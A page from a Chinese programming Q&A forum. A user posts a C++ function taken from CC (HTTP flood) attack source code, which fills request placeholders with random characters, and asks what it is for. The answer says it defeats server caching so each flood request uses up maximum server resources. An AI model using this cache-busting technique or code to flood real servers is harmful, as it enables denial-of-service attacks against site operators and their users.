程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> 編程綜合問答 >> tempstr-CC攻擊中隨機字符攻擊的作用

tempstr-CC攻擊中隨機字符攻擊的作用

編輯:編程綜合問答
CC攻擊中隨機字符攻擊的作用

如題,從網上找到一個CC攻擊源代碼,裡面有一個“隨機字符”的攻擊方式。我想知道它的作用。
CString rsCS(CString str)//
{
CString NewStr,tempstr,nstr;
CString CStr,Func;
char fu;
int LFunc;
int i,x=0;
if (rnd==false) return str;
srand((unsigned)time( NULL ));
NewStr=str;
while ((x=NewStr.Find ("+",0))!=-1)
{
tempstr="";
CStr="";
nstr=NewStr.Mid (x,3);
Func=NewStr.Mid (x+1,1);memcpy(&fu, Func, 1);
LFunc=atoi(NewStr.Mid (x+2,1));
switch(fu)
{
case 'N':
for(i=0;i<LFunc;i++)
{tempstr.Format ("%c",48+rand()%10);CStr+=tempstr;}
break;
case 'U':
for(i=0;i<LFunc;i++)
{tempstr.Format ("%c",65+rand()%26);CStr+=tempstr;}
break;
case 'L':
for(i=0;i<LFunc;i++)
{tempstr.Format ("%c",97+rand()%26);CStr+=tempstr;}
break;
case 'C':
for(i=0;i<LFunc;i++)
{tempstr.Format ("%%%c%c%%%c%c",65+rand()%6,48+rand()%10,65+rand()%6,48+rand()%10);CStr+=tempstr;}
break;
default:
tempstr="" ;
CStr="";
break;
}
NewStr.Replace (nstr,CStr);
}
return NewStr;
}

最佳回答:


我覺得應該是生成一個隨機串,用來發送一個隨機搜索的請求,這樣,搜索不同,將會造成服務器的重新搜索所有數據,最大的占用服務器的資源。

而如果每次都發送同一個字符串的搜索請求,現在服務器大部分都有一個緩存(內存緩存機制,memcached、redis之類的),相同的請求就會立馬從中拿出來並不會占用很大的服務器資源。

個人見解。

qq_26883845
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved